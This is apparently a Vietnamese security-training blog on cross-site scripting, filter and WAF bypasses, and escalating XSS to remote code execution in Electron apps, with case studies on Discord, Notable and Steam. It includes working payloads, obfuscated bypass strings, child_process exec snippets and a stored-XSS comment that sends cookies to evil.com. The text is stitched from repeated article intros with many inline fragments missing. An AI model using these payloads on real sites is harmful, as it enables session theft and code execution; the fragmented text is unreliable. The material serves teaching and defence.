Cross-Site Scripting (XSS) đã được mệnh danh là "lỗ hổng muôn thuở". Từ đơn giản chỉ hiển thị cửa sổ alert đến các tấn công tinh vi, XSS không ngừng tiến hóa theo thời gian. Nhưng bạn đã bao giờ tự hỏi: 

liệu một lỗ hổng XSS có thể dẫn đến chiếm quyền điều khiển hoàn toàn hệ thống không?

Blog này sẽ đưa bạn khám phá kỹ thuật tấn công XSS tiên tiến, cùng các vector vượt khỏi giới hạn trình duyệt để thực thi mã từ xa (RCE), đặc biệt trên các ứng dụng Electron. Đây không chỉ là kiến thức lý thuyết mà còn là bài học thực chiến cho cả pentester lẫn developer.

XSS tiên tiến và các vector hiện đại

 - Những kỹ thuật bypass bộ lọc mới nhất và cách khai thác ngữ cảnh đa tầng

 - Chiến lược nâng cấp một cuộc tấn công XSS thành thực thi mã từ xa

 - Tại sao ứng dụng desktop dựa trên web đặc biệt dễ tổn thương

 - Best practices cho developer và tester

Đừng dừng lại ở việc chỉ hiểu XSS cơ bản - hãy hiểu cơ chế bên trong để bảo vệ ứng dụng của bạn trước những mối đe dọa ngày càng phức tạp.

XSS Tiên Tiến và Các Vector Hiện Đại 🔍

Vượt xa những payload đơn giản như 

, XSS hiện đại khai thác sự phức tạp của HTML, CSS, và JavaScript trong nhiều ngữ cảnh khác nhau.

Một trong những kỹ thuật tiên tiến nhất là 

 - nơi các payload được thiết kế để vượt qua nhiều lớp bảo vệ bằng cách chuyển đổi giữa các ngữ cảnh HTML, JavaScript, và CSS. Chẳng hạn, một chuỗi vô hại trong ngữ cảnh HTML có thể trở nên nguy hiểm khi được xử lý trong ngữ cảnh JavaScript:

<div data-user="normal"></div>  <div data-user=""></div><script>alert(1)</script>"></div>

Kỹ thuật làm rối mã (obfuscation) hiện đại

Các bộ lọc XSS ngày càng thông minh, nhưng kẻ tấn công cũng vậy. Họ sử dụng 

 tinh vi để qua mặt WAF và sanitizer:

: Kết hợp URL encoding, HTML encoding, và JavaScript encoding để tạo ra các payload mà bộ lọc khó nhận diện nhưng trình duyệt vẫn hiểu được

: Chèn các ký tự không hiển thị vào payload để phá vỡ mẫu nhận dạng của bộ lọc

: Tạo mã JavaScript chỉ sử dụng các ký tự đặc biệt như 

Một ví dụ tinh vi là cách khai thác chức năng automatic sanitization của DOMPurify. Nhà nghiên cứu Gareth Heyes đã tìm ra cách sử dụng 

 để bypass DOMPurify bằng payload chèn HTML qua các thẻ 

Trình duyệt xử lý đoạn mã này khác với cách DOMPurify phân tích, tạo ra lỗ hổng trong quá trình "giao lưu" giữa các namespace HTML và SVG/MathML.

 là kỹ thuật tinh tế cho phép kẻ tấn công ghi đè các thuộc tính hoặc phương thức JavaScript thông qua các phần tử HTML. Ví dụ:

Payload này có thể ghi đè thuộc tính 

 của đối tượng form, khiến script chạy trên trang không thể duyệt qua attributes theo cách bình thường, từ đó làm cho các cơ chế lọc dựa trên DOM thất bại.

Nhiều hệ thống lọc chỉ tập trung vào việc tìm và chặn các pattern nguy hiểm rõ ràng như 

, nhưng bỏ qua các kỹ thuật DOM clobbering tinh vi này.

Từ XSS Đến RCE - Con Đường Nâng Cấp Tấn Công 🚀

Thông thường, XSS bị giới hạn trong phạm vi trình duyệt, nhưng có nhiều cách để nâng cấp từ XSS đến RCE (Remote Code Execution) - vượt ra khỏi "hộp cát" của trình duyệt và thực thi mã trên hệ thống.

Trình duyệt web đôi khi có lỗ hổng cho phép kẻ tấn công thoát khỏi "hộp cát" và truy cập hệ thống. Một khi đã có XSS, kẻ tấn công có thể:

Tận dụng lỗ hổng zero-day trong rendering engine

Khai thác lỗi trong các plugin như Flash (trước đây) hoặc Java

Lợi dụng lỗi trong quá trình xử lý PDF hoặc media

Ví dụ thực tế: Năm 2019, lỗ hổng CVE-2019-5786 trong Chrome V8 JavaScript engine đã cho phép kẻ tấn công thực thi mã từ xa. Kết hợp với XSS, điều này tạo ra mối đe dọa nghiêm trọng.

2. Đánh cắp cookie và session để tấn công server-side

Một trong những cách gián tiếp để XSS dẫn đến RCE là thông qua việc đánh cắp cookie admin hoặc session:

Tấn công XSS để lấy cookie của người quản trị

Sử dụng cookie này để truy cập vào bảng quản trị

Nếu bảng quản trị có chức năng upload file hoặc thực thi mã từ xa, kẻ tấn công có thể tận dụng để thực hiện RCE

Tại một số tổ chức, quản trị viên có quyền thực thi các tác vụ trên server như export data, backup, hoặc thậm chí là chạy các lệnh shell thông qua web interface. Chiếm quyền quản trị viên có thể dẫn đến quyền kiểm soát hệ thống hoặc cơ sở dữ liệu.

3. Khai thác các chức năng hiện có

Nhiều ứng dụng web có chức năng tương tác với hệ thống file hoặc thực thi lệnh, mà thường được giới hạn bởi phân quyền người dùng. XSS có thể cho phép:

Thao túng các tham số API để thực thi lệnh bên ngoài phạm vi cho phép

Xâm nhập các chức năng nhập/xuất dữ liệu để ghi file độc hại

Khai thác các endpoint nội bộ không được bảo vệ đúng cách

Một ví dụ điển hình là nhiều ứng dụng có chức năng export data sang CSV hoặc Excel. Bằng cách chèn macro độc hại vào dữ liệu, kẻ tấn công có thể tạo file độc hại khi admin xuất dữ liệu.

Electron và Hiểm Họa Đặc Biệt ⚠️

Electron là framework phổ biến cho phép xây dựng ứng dụng desktop dựa trên công nghệ web (HTML, CSS, JavaScript). Nhiều ứng dụng phổ biến như VS Code, Slack, Discord, và Teams đều được xây dựng trên Electron.

Tại sao Electron đặc biệt dễ bị tổn thương?

Electron có một đặc điểm khiến nó trở thành mục tiêu hấp dẫn: 

mặc định, nó chạy trong môi trường có quyền truy cập hệ thống cao hơn so với trình duyệt thông thường

: Ứng dụng Electron mặc định có thể đọc/ghi file trên hệ thống

: Electron tích hợp Node.js, cho phép truy cập đến hầu hết các module Node

Để từ XSS dẫn đến RCE trong Electron, cần khai thác ba thành phần chính:

 - có thể từ các input không được sanitize, hoặc content injection

 - vượt qua cơ chế phân chia context giữa renderer và Node

 - sử dụng Node.js API để thực thi lệnh trên hệ thống

Một kỹ thuật phổ biến là khai thác cấu hình 

 được bật mặc định, cho phép JavaScript chạy trong renderer process trực tiếp truy cập Node.js API.

Một ví dụ thực tế về khai thác này xảy ra với ứng dụng Slack vào năm 2020 (CVE-2020-27888). Lỗ hổng XSS trong Slack Desktop cho phép kẻ tấn công thực thi mã từ xa bằng cách:

// Một khi có XSS trong ứng dụng Electron với nodeIntegration bật const { exec } = require('child_process'); // Thực thi lệnh trên hệ thống exec('calc.exe', (error, stdout, stderr) => { // Mã độc đã được thực thi });

 bị tắt, các nhà nghiên cứu đã tìm ra các kỹ thuật bypass, ví dụ thông qua preload script hay contextBridge API.

Những phương thức tấn công phổ biến trong Electron

Nạp lại trang với cấu hình khác

: Khai thác các giao thức đã đăng ký như 

: Tìm cách vượt qua phân chia giữa các context khác nhau

Một ví dụ khác về CVE-2023-32309 trong Microsoft Teams (dựa trên Electron), cho phép kẻ tấn công thực hiện tấn công XSS thông qua URL handler, dẫn đến thực thi mã với quyền của người dùng.

Kết hợp những hiểu biết sâu sắc về bảo mật web với kỹ năng pentest ứng dụng desktop là điều bắt buộc để tìm và ngăn chặn các lỗ hổng này. Đó chính là lý do tại sao khóa học 

 của CyberJutsu chú trọng không chỉ vào kỹ thuật tấn công cơ bản mà còn đào sâu vào các kịch bản tấn công phức tạp như XSS to RCE, giúp học viên xây dựng tư duy bảo mật toàn diện.

Case Study Thực Tế: Khai Thác XSS Dẫn Đến RCE 📑

Để hiểu rõ hơn về cách thức XSS tiến hóa thành RCE trong thực tế, hãy phân tích một số case study đã được công bố. Các trường hợp này cho thấy cách kẻ tấn công tận dụng nhiều lỗ hổng kết hợp để đạt được quyền thực thi mã trên máy người dùng.

Case Study 1: Discord - XSS Trên Vimeo Dẫn Đến RCE

Discord là nền tảng giao tiếp phổ biến được xây dựng trên Electron, kết hợp Chromium và Node.js. Năm 2021, các nhà nghiên cứu an ninh đã tìm thấy một chuỗi tấn công phức tạp:

: Nhà nghiên cứu khai thác lỗ hổng XSS trong video Vimeo được nhúng vào Discord. Discord cho phép 'unsafe-inline' trong CSP của mình, tạo điều kiện cho kẻ tấn công chèn JavaScript.

: Sau khi có XSS, họ bypass sandbox bằng cách mở cửa sổ mới thông qua sự kiện "new-window", vì Discord không hạn chế đủ việc xử lý sự kiện này.

: Cuối cùng, họ khai thác lỗ hổng trong V8 JavaScript engine của Chromium để thoát khỏi sandbox và thực thi mã trên máy nạn nhân, đến mức có thể mở ứng dụng Calculator.

Điều đáng chú ý là chuỗi tấn công này không cần nodeIntegration bật, cho thấy các ứng dụng Electron có thể bị xâm phạm ngay cả khi tuân thủ nhiều khuyến nghị bảo mật.

Case Study 2: Discord - XSS Trên Sketchfab Bypass Navigation Restrictions

Một case study khác về Discord (2020) cho thấy cách kẻ tấn công có thể khai thác XSS từ nội dung bên thứ ba:

: Nhà nghiên cứu phát hiện Discord thiếu 

, cho phép JavaScript từ trang web tương tác với mã Electron.

: Họ phát hiện XSS trong Sketchfab (nền tảng 3D) được nhúng trong Discord, thông qua URL OGP (Open Graph Protocol).

: Bằng cách khai thác lỗ hổng CVE-2020-15174 trong Electron, họ bỏ qua hạn chế điều hướng vì Discord không phát ra sự kiện "will-navigate" cho điều hướng cross-origin.

: Cuối cùng, họ thực thi mã từ xa và nhận phần thưởng $5,000 từ Discord và $300 từ Sketchfab.

Chuỗi tấn công này minh họa cách XSS từ nội dung bên thứ ba có thể dẫn đến RCE, đặc biệt khi ứng dụng cho phép nhúng nội dung từ các nguồn khác.

Case Study 3: PoC Khai Thác Ứng Dụng Notable Thông Qua Markdown

Notable là ứng dụng ghi chú dựa trên Markdown sử dụng Electron. Vào năm 2020, một lỗ hổng nghiêm trọng (CVE-2020-16608) được phát hiện:

: Ứng dụng không xử lý đúng nội dung Markdown từ người dùng, cho phép chèn mã HTML độc hại.

: Thiết lập Electron của Notable để nodeIntegration bật, cho phép truy cập đến các API Node.js.

: Một liên kết đơn giản trong Markdown như: 

[Liên kết vô hại](javascript:require('child_process').exec('calc')) 

Là đủ để mở Calculator trên Windows khi người dùng nhấp vào.

Trường hợp này đặc biệt nguy hiểm vì nó chỉ yêu cầu một XSS đơn giản trong tài liệu Markdown - một nơi người dùng thường không nghi ngờ sẽ chứa mã độc.

Bài viết Medium về Notable CVE-2020-16608

Case Study 4: Trình Duyệt Steam (CEF) Và Chuỗi Tấn Công RCE

Steam không sử dụng Electron mà dùng CEF (Chromium Embedded Framework), nhưng vẫn dễ bị tấn công tương tự. Vào tháng 6/2024, các nhà nghiên cứu đã phát hiện nhiều chuỗi RCE:

Chuỗi tấn công #1 - Khai thác SteamClient

 trong trang ngoài bằng cách sử dụng 

 để tải URL với bất kỳ giao thức nào (file://, chrome://)

Lỗ hổng XSS To RCE: Khai thác nâng cao và Case Study

Cross-Site Scripting (XSS) là một lỗ hổng bảo mật luôn nằm trong top các mối đe dọa hàng đầu. Dù các framework và công cụ ngày càng tiên tiến, XSS vẫn tồn tại dai dẳng và tiếp tục tiến hóa với những kỹ thuật khai thác ngày càng tinh vi. Hiểu rõ XSS không chỉ giúp bạn phát hiện lỗ hổng mà còn xây dựng hàng rào phòng thủ vững chắc cho ứng dụng web.

Hiểu bản chất XSS và phân biệt các loại XSS phổ biến

Khám phá các kỹ thuật khai thác từ cơ bản đến nâng cao

Học cách vượt qua các biện pháp bảo vệ như CSP, WAF

Nắm được các phương pháp phòng chống XSS hiệu quả cho từng vai trò

Áp dụng được best practices vào quy trình phát triển ứng dụng

Dù bạn là pentester, developer hay security engineer, bài viết này sẽ cung cấp insights giá trị để bảo vệ ứng dụng web trước các mối đe dọa XSS ngày càng tinh vi.

XSS là gì và tại sao nó nguy hiểm?

Cross-Site Scripting (XSS) là lỗ hổng bảo mật cho phép kẻ tấn công chèn và thực thi mã JavaScript độc hại trên trình duyệt của người dùng. Khác với các lỗ hổng khác tấn công vào máy chủ, XSS nhắm vào người dùng cuối - biến trình duyệt của họ thành "vũ khí" chống lại chính họ.

Khi một website không xử lý đúng dữ liệu đầu vào, kẻ tấn công có thể chèn mã script vào trang web. Khi người dùng truy cập trang đó, trình duyệt sẽ thực thi mã độc như thể nó là một phần hợp lệ của trang.

Đánh cắp phiên làm việc (session)

: Lấy cắp cookie để chiếm đoạt tài khoản người dùng

Thực hiện các hành động giả mạo

: Thay mặt người dùng gửi form, thực hiện giao dịch

: Keylogging, đánh cắp dữ liệu nhập vào form

: Thực hiện phishing bằng cách chèn form giả mạo

: Thiết lập kết nối liên tục đến trình duyệt nạn nhân

Theo báo cáo từ các công ty bảo mật, lỗ hổng XSS luôn nằm trong top 10 các lỗ hổng phổ biến nhất và gây thiệt hại lớn cho doanh nghiệp mỗi năm. Đây không phải là vấn đề của riêng các ứng dụng nhỏ - ngay cả những tên tuổi lớn như Facebook, Google đôi khi cũng bị ảnh hưởng.

XSS thường được phân thành ba loại chính. Mỗi loại có đặc trưng riêng và đòi hỏi phương pháp khai thác và phòng chống khác nhau.

: Payload XSS được gửi đến server (thường qua URL) và phản chiếu ngay lập tức trong phản hồi. Khi người dùng nhấp vào link độc hại, trình duyệt sẽ thực thi mã độc.

: Hãy tưởng tượng một trang tìm kiếm hiển thị lại từ khóa người dùng nhập vào:

https://example.com/search?q=<script>alert('XSS')</script>

Nếu website không escape đầu vào, thẻ 

 sẽ được thực thi và hiển thị hộp thoại cảnh báo.

Payload xuất hiện trong tham số URL/form data

Mã độc được thực thi ngay lập tức sau khi tải trang

Hiệu ứng không tồn tại khi tải lại trang mà không có payload

: Payload được lưu trữ vĩnh viễn trên máy chủ (thường trong cơ sở dữ liệu) và được trình duyệt thực thi mỗi khi người dùng truy cập trang chứa payload.

: Kẻ tấn công đăng một bình luận chứa mã độc trên một blog:

Bài viết hay!<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

Khi người dùng khác xem bài đăng, script sẽ chạy và gửi cookie của họ đến máy chủ kẻ tấn công.

Mã độc được thực thi cho mọi người dùng truy cập trang

Hiệu ứng tồn tại lâu dài, ngay cả khi tải lại trang

Payload thường được đưa vào từ các form dữ liệu lưu trữ: bình luận, hồ sơ, tin nhắn, v.v.

: Xảy ra khi JavaScript trang web thao tác không an toàn với DOM, chèn dữ liệu từ người dùng trực tiếp vào DOM mà không sanitize đúng cách.

: Một trang web sử dụng JavaScript để lấy giá trị hash từ URL và chèn vào trang:

// Địa chỉ URL: https://example.com/#<img src=x onerror=alert(1)> document.getElementById("content").innerHTML = location.hash.substring(1);

Mã độc không được gửi đến máy chủ

Lỗ hổng nằm trong mã JavaScript phía client

Payload thường xuất hiện trong phần fragment URL (#) hoặc trong localStorage/sessionStorage

Khó phát hiện hơn bằng scanner truyền thống vì logic nằm ở client-side

Hiểu rõ sự khác biệt giữa các loại XSS là bước đầu tiên để xác định và phòng chống hiệu quả. Mỗi loại đòi hỏi phương pháp tiếp cận khác nhau, nhưng tất cả đều dựa trên một nguyên tắc cơ bản: kiểm soát dữ liệu người dùng trước khi đưa vào trang web.

Khi bắt đầu tìm hiểu về XSS, việc nắm vững các kỹ thuật cơ bản là bước đi đầu tiên. Dưới đây là những vector tấn công phổ biến mà mọi pentester cần biết:

Đây là phương pháp đơn giản nhất, chèn mã JavaScript trực tiếp vào trang web:

2. Khai thác thông qua thuộc tính sự kiện

 bị chặn, kẻ tấn công có thể sử dụng các thuộc tính sự kiện HTML:

<img src="x" onerror="alert('XSS')"> <body onload="alert('XSS')"> <a onmouseover="alert('XSS')">Hover me</a>

JavaScript có thể được thực thi thông qua URL với giao thức 

<a href="javascript:alert('XSS')">Click me</a> <iframe src="javascript:alert('XSS')"></iframe>

CSS cũng có thể được sử dụng để thực thi mã JavaScript:

<div style="background:url('javascript:alert(1)')"> <style>@import 'javascript:alert("XSS")';</style>

Đây là một số payload XSS cơ bản thường được sử dụng để kiểm tra lỗ hổng:

"><script>alert(document.cookie)</script> <img src=x onerror=alert('XSS')> <svg onload=alert(1)> <iframe src="javascript:alert(`XSS`)"></iframe>

Khi thực hiện kiểm thử, bạn nên bắt đầu với các payload đơn giản trước khi chuyển sang các kỹ thuật phức tạp hơn. Điều quan trọng là hiểu ngữ cảnh nơi dữ liệu được chèn vào (trong HTML, trong thuộc tính, trong JavaScript, v.v.) để điều chỉnh payload phù hợp.

Khi các biện pháp bảo vệ cơ bản được triển khai, kẻ tấn công phải sử dụng các kỹ thuật tinh vi hơn để vượt qua chúng. Dưới đây là những kỹ thuật bypass XSS nâng cao mà pentester chuyên nghiệp thường sử dụng.

1. Payload XSS sáng tạo và hiếm gặp

Nhiều bộ lọc chỉ tìm kiếm các mẫu XSS phổ biến như 

. Khai thác thành công đòi hỏi sự sáng tạo:

<Img/Src/OnError=(alert)(1)>  ¼script¾alert(¢XSS¢)¼/script¾  "><s"+cript>alert(document.cookie)</script>

Việc khai thác các thẻ HTML5 ít được biết đến như 

 cũng rất hiệu quả vì chúng thường bị bỏ qua trong các blacklist.

2. Kỹ thuật obfuscation và làm rối mã

Obfuscation (làm rối mã) là vũ khí mạnh mẽ để vượt qua bộ lọc XSS:

<a href="&#x6A;avascript:alert(1)">Click me</a>  <a href=" &#x8;&#23; javascript:alert('XSS')">  <body onload="eval(atob('YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">

Trình duyệt sẽ tự động giải mã các chuỗi này, trong khi nhiều bộ lọc không thực hiện giải mã trước khi kiểm tra, tạo ra kẽ hở để khai thác.

3. Kết hợp đa ngữ cảnh HTML/JS/CSS

Một kỹ thuật tinh vi là khai thác sự chuyển đổi ngữ cảnh giữa HTML, JavaScript và CSS. Mutation XSS (mXSS) là ví dụ điển hình, nơi trình duyệt tự tái cấu trúc HTML không hoàn chỉnh tạo ra cơ hội tấn công:

Chuỗi này trông vô hại nhưng khi trình duyệt phân tích, nó sẽ tạo ra thẻ 

4. Bypass WAF và bộ lọc phổ biến

Web Application Firewall (WAF) thường dựa vào các blacklist hoặc regex để chặn XSS. Đây là một số kỹ thuật bypass:

<img src=x onerror/=/alert(1)>  <svg><a xlink:href="javascript:alert(1)">  <a on&#x09;error=alert(1)>test</a>

Ngay cả thư viện sanitizer mạnh như DOMPurify cũng từng bị bypass. Ví dụ năm 2020, một lỗ hổng cho phép bypass DOMPurify bằng cách sử dụng các thẻ MathML đặc biệt:

Kỹ thuật này khai thác cách trình duyệt xử lý các không gian tên HTML khác nhau, tạo ra XSS dù đã qua bộ lọc.

6. Khai thác AngularJS và framework JavaScript

Framework JavaScript cũng có thể bị khai thác. AngularJS v1.x từng bị tấn công qua biểu thức:

Chuỗi này không chứa HTML đáng ngờ nhưng lại thực thi mã khi được xử lý bởi Angular.

Các kỹ thuật bypass nâng cao đòi hỏi pentester phải hiểu sâu về cách hoạt động của trình duyệt, parser HTML và JavaScript. Đối với security engineer, việc hiểu các kỹ thuật này là nền tảng để xây dựng phòng thủ hiệu quả.

Vượt qua Content Security Policy (CSP)

Content Security Policy (CSP) là một lớp bảo vệ mạnh mẽ nhằm giảm thiểu tác động của XSS. Tuy nhiên, CSP cũng có thể bị vượt qua nếu cấu hình không đúng cách.

CSP là một HTTP header cho phép website chỉ định chính xác các nguồn được phép chạy script, load hình ảnh, hoặc các tài nguyên khác. Ví dụ:

Content-Security-Policy: script-src 'self' https://apis.google.com

Header trên chỉ cho phép script từ chính domain và Google APIs.

XSS là gì? Kỹ thuật khai thác và cách ngăn chặn

Cross-Site Scripting (XSS) vẫn luôn là một vector tấn công phổ biến và nguy hiểm. Nhiều kỹ sư bảo mật và hacker mũ trắng đều biết rõ về XSS cơ bản, nhưng khi đối mặt với các bộ lọc và biện pháp phòng vệ hiện đại, làm thế nào để phát hiện, khai thác, và quan trọng hơn - làm thế nào để phòng chống XSS một cách toàn diện?

Bài viết này sẽ đưa bạn đi sâu vào thế giới của kỹ thuật bypass XSS nâng cao - nơi các payload truyền thống không còn hiệu quả, nơi WAF và CSP đứng chặn, và nơi mà việc hiểu rõ các ngữ cảnh HTML/JS/CSS phức tạp trở thành chìa khóa để cả tấn công lẫn phòng thủ.

Phân biệt các loại XSS và cách phát hiện chính xác

Kỹ thuật bypass XSS nâng cao qua các payload sáng tạo

Chiến thuật obfuscation (che giấu mã) để vượt qua bộ lọc

Khai thác ngữ cảnh đa tầng HTML/JS/CSS cho XSS phức tạp

Vượt qua WAF, DOMPurify và các bộ lọc phổ biến

Kỹ thuật bypass Content Security Policy (CSP) hiện đại

Phòng chống XSS toàn diện cho từng vai trò: Frontend, Backend, Security Engineer

Các công cụ và tài nguyên giúp phát hiện và ngăn chặn XSS

Phân biệt các loại XSS và tầm quan trọng

Tag: Cross-Site Scripting (XSS)